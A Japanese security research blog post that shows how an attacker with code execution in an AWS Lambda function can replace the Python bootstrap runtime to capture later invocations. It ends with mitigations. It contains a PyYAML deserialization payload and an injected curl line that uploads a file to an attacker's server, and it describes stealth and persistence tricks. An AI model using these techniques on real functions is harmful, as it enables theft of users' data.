This post is also available in: English (英語)
サーバレスセキュリティ
2014年にリリースされたAWS Lambdaは、現在広く採用されているサーバーレスコンピューティングという新たなクラウド実行モデルを世に送り出しました。それ以降、数多くの企業がAWS Lambdaおよび一般的なサーバーレスコンピューティング向けのセキュリティソリューションを提供し始めました。こうしたセキュリティプラットフォームでは、一般に以下が提供されます。
- 脆弱性スキャン - コードに既知の脆弱性が含まれていないことを確認(「ワンデイ」)
- ランタイム保護 - 本番環境でゼロデイ脆弱性が悪用されるのを防ぐ
しかし、Lambda関数にリモートコード実行(RCE)脆弱性があることを見つけた場合、攻撃者は何ができるでしょうか。 言い換えれば、ユーザーのハンドラまたは使用されているモジュールの1つにセキュリティ上の欠陥があった場合、攻撃者はこうした脆弱性を悪用して何ができるでしょうか。
Lambdaを使用してデータを処理および検証してからデータベースに挿入するという、一般的なユースケースを検討してみましょう。
直観的な答えがいくつか頭に浮かびます。
- 攻撃者は脆弱性のあるLambdaを実行リソースとして悪用し、仮想通貨マイニングなどに利用します。
- 攻撃者は、Lambdaが使用できるリソースへのアクセス権を持ちます。Lambdaは特定のDBへの書き込み権限を持つため、攻撃者も同じ権限を持つことになります。
これらは道理にかなった攻撃経路ですが、上記の例では、攻撃者はユーザーの個人情報に最も興味を持っているように見えます。ユーザーにとって幸いなことに、Lambdaは機密性の高いDBへの書き込み権限のみで適切に設定されています。
他の呼び出しはどうでしょうか? 呼び出しにはDBに指定されている新情報が含まれますが、攻撃者は何らかの方法で呼び出しにアクセスできるでしょうか?
これが、私が実施した調査で答えを得ようとした質問です。端的に答えれば「はい」です。攻撃者は脆弱性のあるLambdaインスタンスにとどまり続け、他の呼び出しに対するアクセス権を取得できます。では、その方法についてみていきましょう。
Lambdaの基本
Lambdaインスタンスは、需要に応じて規模が拡大されます。3つの要求が同時に発生した場合、AWSはそれに応じてLambdaインスタンスの数を増やします。新しいLambdaインスタンスのスピンアップには時間がかかるため、新しいLambdaインスタンスが最初の要求を処理する際、その実行時間は非常に長くなります。これは、コールドスタートと呼ばれます。コールドスタートが頻繁に行われるのを避けるために、AWSは後続の要求を処理する間、Lambdaインスタンスをアクティブなままにします。私の経験では、インスタンスは通常、アクティブでない状態が10~15分続くと削除されます。
この実行モデルの重要なポイントの1つは、Lambda呼び出しは互いに完全には切り離されないという点です。Lambda呼び出しは、同じ実行環境で実行できますが、同時には実行できません。このことを念頭に置いて、この環境を詳しく調査しましょう。
Lambda環境の調査
Lambdaはいくつかのランタイムをサポートしており、最もよく使用されているのはPython 3.7とNode.js 10です。そのため、ここではPythonランタイムに焦点を当てていきます。
私はLambdaから自分のローカルマシンにリバースシェルを設定して、環境の調査を開始しようと考えました。しかし、すぐに、これは簡単ではないことに気づきました。リバースシェルには持続的な接続が必要ですが、Lambdaを数秒以上実行中し続けるにはコストがかかります。さらに、Lambdaは比較的短時間でタイムアウトになります(最長は15分)。
より適切なアプローチは、シェルコマンドごとにLambdaを再呼び出しすることです。この方法では、導入したLambdaが、受け取ったコマンドを実行して出力を返します。私は、これと同じ動作をするオープンソースツールをいくつか知っていますが、どれもあまり使いやすくはありません。そのほとんどがシェルインターフェイスを実装しておらず、私が必要と考える機能、つまり作業ディレクトリ(CWD)トラッキング、Lambdaとローカルマシン間のファイル転送、そして美しい色づかい(これは何よりも大切です)などをサポートしているツールは1つもありません。
Splash
そこで私は独自ツールを作ることにしました。こうして生まれたのがSPLASHです。SPLASHはSplash Pseudo Lambda Shellの略で、使用に必要な準備はsplashエージェントLEX(Lambda Executor)を実行するLambdaを導入してLambdaのアドレスでsplashを設定することだけです。
私はSplashを使用して環境を調べ始めました。以下に、Lambdaで実行中のプロセスを示します。すべてのプロセスが、同じ権限のないユーザーとして実行されていることがわかります。
Lambdaは、ある種のコンテナのような、隔離された環境で実行されています。これは、Lambdaで実行されているプロセスのcgroupマッピングを調査することで確認できます。コントロールグループは、コンテナで使用されている主要な隔離技術の1つです。
cgroup名には、頭に「sandbox」が付いています。「sandbox」は、私がよく知っているどのコンテナエンジンとも一致しない接頭辞です(docker、podman、LXD、そして念のためにrktも確認しました)。コンテナエンジンの中には、カスタムのcgroupを設定するオプションを提供しているものもありますが、これはそうではないようです。独自仕様のコンテナエンジンを使用し、内部でrunCのようなオープンソースのコンテナランタイムを使用しているものと思われます。
次に、Lambdaで実行中の実行可能ファイルをダウンロードし、それらのリバースエンジニアリングを開始しました。
私が確認したのは、次のメインファイルです。
- /var/rapid/init – Golangバイナリ、LambdaのPID 1
- /var/runtime/bootstrap.py – Python3.7 Lambdaランタイム
Lambda Python3.7アーキテクチャ
最終的に、私は次のようなLambda Python3.7インスタンスのアーキテクチャを考えました。
- initバイナリの「slicer」と呼ばれるコンテナ外部のプロセスが、共有メモリを介してinitプロセスに呼び出しイベントを送信します。
- initプロセスは(ハードコードされた)ポート9001上にHTTPサーバーを設定します。複数の公開されたエンドポイントも設定します。
- /2018-06-01/runtime/invocation/next – 次の呼び出しイベントを取得します
- /2018-06-01/runtime/invocation/{invoke-id}/response – 呼び出しに対するハンドラ応答を返します
- /2018-06-01/runtime/invocation/{invoke-id}/error – 実行エラーを返します
- bootstrap.pyで、以下のループがinitプロセスに新規イベントを問い合わせてから、ユーザーの関数を呼び出して処理します(ここでは、アップロードした要求ハンドラが実行されています)。
- 次のいずれかのエンドポイントを介して、ハンドラ応答がinitプロセスに戻されます。
- /{invoke-id}/response – ユーザーハンドラが正常に実行された場合
- /{invoke-id}/error – 呼び出しを処理中に例外が生成された場合
その後、initプロセスはこの応答をslicerに渡します。
bootstrap.pyがユーザーのコードをどのように呼び出すかに注目してください。子プロセスで実行するのではなく、外部のpythonモジュールとして呼び出します。すなわち、RCE脆弱性が含まれている可能性のあるユーザーコードを、ブートストラッププロセスの一部として実行します。
その他のランタイム
その他のLambdaランタイムについても、簡単に調べてみました。インタープリタベースのランタイム(NodeJS、ruby)は、ブートストラッププロセスがランタイムの言語(たとえば、rubyランタイムではbootstrap.rb)で記述されること以外は、Pythonランタイムとほぼ同じです。これらのランタイムの旧バージョン(NodeJS 8やPython 2.7など)はやや異なっており、ブートストラップと呼ばれる1つのプロセスのみを持ち、initプロセスが担当するタスクもこのプロセスが処理します。
他のランタイム(Golang、.net、Java)には、それぞれ独自の実装があります。
計画
目標に戻りましょう。LambdaにRCEがある攻撃者は、特定の呼び出しでコードを実行しますが、後続の呼び出しで送信されたデータにアクセスしたいと考えます。永続性を確保する必要があるのです。
initプロセスまたはブートストラッププロセスを独自の悪意のあるバージョンに置き換えることができる場合、Lambdaインスタンスに送信されたすべてのイベントへのフルアクセス権を得ることができます。ブートストラッププロセスの方がより容易に置き換えられるように思えます。bootstrap.pyはPythonスクリプトで、initのようなGolangバイナリよりも簡単に模倣し、変更することができるためです。
次に、実験に使用する、脆弱性のあるLambdaが必要です。
標的のLambda
Lambdaの導入には、yamlモジュールv3.13がパックされています。残念なことに、このバージョンには
yaml.load() 関数のコード実行脆弱性(CVE-2017-18432)が含まれています次に、この脆弱性を悪用して1000 + 337を計算し、次の結果を出力するペイロードの例を示します。
1 |
!!python/object/new:exec [ "result = 1000 + 337; print('Output: ' + str(result))" ] |
これをLambdaに送信してログを表示すると、ペイロード内のコードが実行されたことがわかります(Lambdaの出力はCloudWatchログに転送されます)。
1行だけのペイロードは記述したくなかったため、小さいプログラムcreate_evil_yaml.pyを記述しました。このプログラムは、Pythonスクリプトを取得して有効なペイロードに転送します。
create_evil_yaml.pyはデータファイルも取得し、ペイロードとともに不正なyamlファイルに挿入します。ペイロードの実行時には、このデータを不正なyamlファイルで external_data_b64 という変数として利用できます。
ランタイムの置換
脆弱性のあるLambdaを準備できたので、ブートストラッププロセスを置換する計画を実行します。新しいランタイムを含むyamlペイロードを作成し、Lambdaにあるファイルに書き込み、 os.execv を呼び出してブートストラップを置き換えます。以下に、switch_rutime.pyのコードを示します。
switch_runtime.pyはまず、 external_data_b64 から新しいランタイムをデコードします。次に、Lambdaの /tmp ディレクトリが書き込み可能かどうかを確認し、書き込み可能な場合は /tmp ディレクトリに新しいランタイムを書き込みます。書き込み可能でない場合は、 memfd_create syscallを使用して、ファイルシステムではなくメモリ内にランタイムファイルを作成します。その後、ペイロードは os.execv を呼び出して、ブートストラッププロセスを新しいランタイムに置き換えます。
ご覧のように、switch_runtime.pyは新しいランタイムに1つの引数 invoke_idを渡します。新しいランタイムをinitプロセスに再接続するには、この引数が必要です。なぜ必要かを理解するために、initプロセスとブートストラッププロセスが通常、互いにどのようにやり取りするかを見てみましょう。
新しいランタイムは、このパターンの中頃で実行を開始します。
このため、次のイベントを要求する前に、新しいランタイムが、そのランタイムを生成したイベントの応答を返す必要があります。そのためには、ランタイムがそのイベントのinvoke idを持つ必要があります。応答エンドポイントURLは /${invoke-id}/response であるためです。
switch_runtime.pyはブートストラッププロセスのコンテキストで実行されるため、bootstrap.pyの _GLOBAL_AWS_REQUEST_ID 変数からinvoke idを抽出できます。これは、inspect Pythonモジュールを使用して行われるため、プロセスのスタックを調べて、スタックに保存されているデータにアクセスできます。
これで、switch_runtime.pyは準備できました。残りの作業は新しいランタイムを記述するだけです!
Twistランタイム
twist_runtime.pyは、元のbootstrap.pyをコピーして、いくつかの変更を加えたものです。
- ランタイムは起動時に、引数として受け取った invoke_id を使用して、initプロセスに疑似応答を送信します。
- ランタイムが受け取った各イベントは、外部サーバーに送信された後、ユーザーのハンドラに渡されます。
- また、ランタイムは各Lambda応答に短いメッセージを追加します(以下のビデオで確認できます)。
後続の呼び出しの漏洩のPoC
すべてをまとめたPoCビデオを以下に示します。ビデオでは、sendYamlData.pyを使用してLambdaにyamlファイルを送信し、応答を出力しています。
以下に、攻撃の流れを示します。
一時的な環境での永続性
Lambdaインスタンスを侵害すると、Lambdaインスタンスへのすべての要求をランタイムで表示できるようになります。むろん、侵害されたインスタンスが頻繁に要求を受信しない場合、インスタンスはAWSによって削除されます。また、複数の要求が同時にLambdaに送信される場合、その一部は他のインスタンスに転送されます。
巧妙な攻撃者は、何らかのトリックを使ってよりよい足掛かりを得て、Lambdaへの要求のほとんどを抽出できてしまいます。以下に例を示します。
- 攻撃者はLambdaに要求を送信することで、攻撃者のLambdaインスタンスを定期的に「ウォームアップ」できます。この要求タイプに対して異なる応答をするようにランタイムを変更し、まだアクティブであることを知らせることもできます。
- 攻撃者は同時ペイロードを送信することで、いくつかのLambdaインスタンスを乗っ取ることもできます。
ステルス性
他の攻撃と同様に、検出されずにいることも問題になります。現在、ランタイムを置き換えるペイロードを実行するのに約2秒かかります。Lambdaの通常の実行時間と比べて、かなり長い時間がかかるわけです。ただし、この時間は、bootstrap.pyからコピーされた不要な初期化ロジックを削除することで短縮できます。反対に、実行時間が長いためにコールドスタートと間違われることで、攻撃を隠すこともできます。
頭の切れる攻撃者は関数の通常の動作や出力を学習し、CloudWatchログを使用して防御者を混乱させ、攻撃を覆い隠すこともできます。
外部プロセスRCE
攻撃者は yaml.load() 脆弱性を利用し、コードを脆弱性のあるプロセスの一部として実行できます。他方、ペイロードを外部プロセスとして実行するエクスプロイトは多数あります。要求の本文(Base64でエンコード済み)を返す、以下の脆弱なLambdaを考えてみましょう。
攻撃者はこのLambdaを悪用して、任意のコマンドを送信し、コマンドは外部シェルプロセスで実行されます。たとえば、 "; curl -f "@/some/path" {our-server-ip}:{port};" を送信して、Lambdaから攻撃者のサーバーにファイルをアップロードできます。
このタイプのRCE脆弱性を使用してLambdaのランタイムを乗っ取ることは可能ですが、使用するペイロードにいくつかの変更を加える必要があります。このペイロードは外部プロセスで実行されるため、inspectモジュールを使用してinvoke idを抽出することはできません。代わりに、
/proc/${bootstrap-pid}/mem を介してブートストラップのメモリを直接読み取って、regexを使用してinvoke id形式と一致するバイトシーケンスを探す必要があります。また、ペイロードは古いブートストラッププロセスを強制終了または停止する必要があります。
ほかにもいくつか、小規模な調整があります。興味のある方のために、上記の脆弱性のあるbase64 Lambdaを使用して、小さいPoCを作成しました。こちらから入手できます。
結論
私が強調したいのは、このブログで示した攻撃はAWSの脆弱性ではないという点です。AWS Lambdaは共有責任モデルに従っており、コードに脆弱性がある場合は、AWSに関する限り、ユーザーの責任です。その後、AWSで手順を実行して、ランタイムからユーザーコードを切り離すことはできます。たとえば、ユーザーコードを別のプロセスで実行したり、Lambdaインスタンス内で別の権限で実行したりできますが、こうした手順の多くは、Lambdaの主な利点であるスピードを損ねる可能性があります。
私が推奨する、大きなトラブルなしで実装できる手順の1つは、ptrace scopeを /proc/sys/kernel/yama/ptrace_scope で「2」 ('admin access')に設定することです。この設定により、Lambda内部のptraceオペレーションが無効になり、 /proc/{bootstrap-pid}/mem へのアクセスが拒否され、外部プロセスによる攻撃を防ぐことができます。
開発者は、サーバーレスは何もしなくても安全だと誤解するかもしれません。そして、その主な原因は、サーバーレスには一次的に実行されるに過ぎないという特性があるからです。しかし、そうではありません。ここに示したPoCでは、そのことを強調しています。呼び出しは互いに完全には切り離されてはいないため、悪意のある攻撃者にとって、脆弱性のあるLambdaは実行リソース以上の存在になり得る可能性があります。Lambdaインスタンスを完全に制御することで、攻撃者は他の呼び出しにアクセスして、Lambdaの動作を変更し、個人情報を漏洩させることができます。
ここでは、Python 3.7 の Lambdaランタイムに焦点を当てましたが、このタイプの乗っ取り攻撃は多くの場合、他のランタイムでも十中八九成功します。すべてのランタイムは同じ実行デザインを共有し、ユーザーコードは呼び出し側のランタイムと同じ権限で実行されます。端的に言うと、脆弱性のあるユーザーコードはランタイムも危険にさらします。
全体的に見て、サーバーレス関数は、コードが比較的小規模であるという利点があるため、適切な配慮がなされれば保護しやすいものとなっています。
Twistlock(現Prisma Cloud)の保護
TwistlockのサーバーレスDefenderは、次の3つの点でPoC攻撃を防ぎます。
- 脆弱性のあるYAMLパッケージを識別して、ユーザーに修正済バージョンへの更新を促します。
- 読み取り専用と定義されているLambdaの場合、Defenderはswitch_runtime.pyがLambdaの /tmp ディレクトリに新しいランタイムを書き込むのを拒否します。
- Defenderはswitch_runtime.pyで os.execv 呼び出しを停止します。
むろん、Twistlock Consoleでも、この疑わしいアクティビティに関するアラートが生成されます。
大変長いブログでしたが、Lambdaのセキュリティリスクについて理解を深めていただけたことと思います。ご質問がございましたら、電子メールまたは@unit42_intelでお気軽にご連絡ください。